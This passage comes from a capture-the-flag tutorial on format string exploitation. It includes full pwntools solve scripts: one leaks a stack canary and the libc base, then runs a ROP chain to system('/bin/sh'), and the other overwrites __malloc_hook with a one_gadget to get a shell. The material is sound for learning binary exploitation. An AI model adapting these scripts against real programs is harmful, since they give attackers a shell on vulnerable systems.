As you can see above, we are able to leak a libc address 0x7ffff7821b97.
Assuming you know what offset your input is, you could also leak the contents of a arbitrary pointer by specifying the %s. Here is an example from WWCTF.
We have a simple printf vulnerability here and using the %s format specifier, we can dereference arbitrary memory addresses. To get a LIBC leak, we can provide the puts@GOT address, which when dereferenced will give us the actual runtime address of puts in libc.
puts@GOT has been resolved as puts has been called once already in the function
Below is an excerpt of my solve script where was used to leak libc base.
#!/usr/bin/env python3
from pwn import *
exe = ELF("./buffer_brawl_patched")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.binary = exe
context.log_level = 'debug'
p = process('./buffer_brawl_patched')
gdb.attach(p, gdbscript='break *stack_check_up + 157')
p.recvuntil(b'> ')
p.sendline(b'4')
p.recvuntil(b'Right or left?\n')
p.sendline(b'%11$p.%13$p')
leak = p.recvline().strip(b'\n')
canary = int(leak.split(b'.')[0], 16)
binary_base = int(leak.split(b'.')[1], 16) - 0x1747
log.info(f"Canary is {hex(canary)}")
log.info(f"Base is {hex(binary_base)}")
# Get where our input starts first
exe.address = binary_base
log.info(f"Puts is {hex(exe.got['puts'])}")
p.recvuntil(b'> ')
p.sendline(b'4')
p.recvuntil(b'Right or left?\n')
# Leak puts@GOT
payload =b'%7$s\x00\x00\x00\x00' + p64(exe.got['puts'])
p.sendline(payload)
leak = u64(p.recvline().strip(b'\n').ljust(8, b'\x00'))
libc_base = leak - 163840 - 358240
log.info(f"Libc is {hex(libc_base)}")
# Trigger BOF criteria
for i in range (29):
p.recvuntil(b'> ')
p.sendline(b'3')
libc.address = libc_base
system = libc.sym['system']
binsh = libc.address + 0x1a7e43
log.info(f"/bin/sh is {hex(binsh)}")
pop_rdi = libc.address + 0x000000000002a205
ret = binary_base + 0x0000000000001016
offset = 24
# BOF with canary check + system(ptr_to_bin_sh)
payload = offset * b'A'
payload += p64(canary)
payload += b'A' * 8
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)
payload += p64(ret)
p.recvuntil(b'Enter your move: ')
p.clean()
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
main()
Arbitrary Write
Printf's %n specifier takes in a pointer and writes the number of characters written so far.
Lets take this program for example.
#include<stdio.h>
int main()
{
int c;
printf("geeks for %ngeeks ", &c);
printf("%d", c);
getchar();
return 0;
}
%n will store the value 10 into the variable c as there where 10 characters printed before %n was called.
So if we have control of the input, we can have a arbitrary write with %n.
This can be further automated with the use of pwntools fmtstr_payload function
Lets see how we can leverage on printf only to obtain a shell.
#!/usr/bin/env python3
from pwn import *
exe = ELF("./echos_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
context.update(arch='amd64', os='linux')
p = process("./echos_patched")
# 1. First we leak the libc address 0x7ffff7821b97 (__libc_start_main+231) - libc.so.6 +0x21b97
p.sendline(b'%19$p')
leak = int(p.recvline(),16)
libc.address = leak - 0x21b97
log.info(f"Libc Address Leak : {hex(libc.address)}")
malloc_hook = libc.symbols["__malloc_hook"]
log.info(f"malloc_hook address : {hex(malloc_hook)}")
# 2. Next, we write the one_gadget address to the __malloc_hook address
one_gadget = libc.address + 0x4f322
log.info(f"one_gadget address : {hex(one_gadget)}")
payload = fmtstr_payload(8, {malloc_hook : one_gadget}, write_size="int")
p.sendline(payload)
pause()
# 3. Lastly trigger the _malloc_hook with a huge printf
p.sendline(b'%66000c')
p.interactive()
We perform a stack leak with printf using the %p to list out the value of the pointers on the stack. Since we know that we need a libc-leak, we target the 19th offset using the format %offset$p
Using the libc leak, we are able to get the address of __malloc_hook which will be useful as printf calls malloc
We can then write the address of a one_gadget into &__malloc_hook using pwntools's fmtstr_payload
For our last printf call, we can trigger malloc by passing a large input (E.g passing %65510c) which triggers malloc() which in turn triggers __malloc_hook, calling our one_gadget and giving us a shell
Misc Stuff
To determine if the value you leaked is a libc address, just use the address() function in pwndbg and check for rwx with vmmmap
printf usually parses the first 1 to 5 offset as parameters so your buffer containing your input should start from offset 6 onwards
printf has a internal counter when printing characters which is especially important when chaining multiple %n calls.
This means you can do something like this %57c%10$hhnn%57c%10$hhn == %114c%10$hhn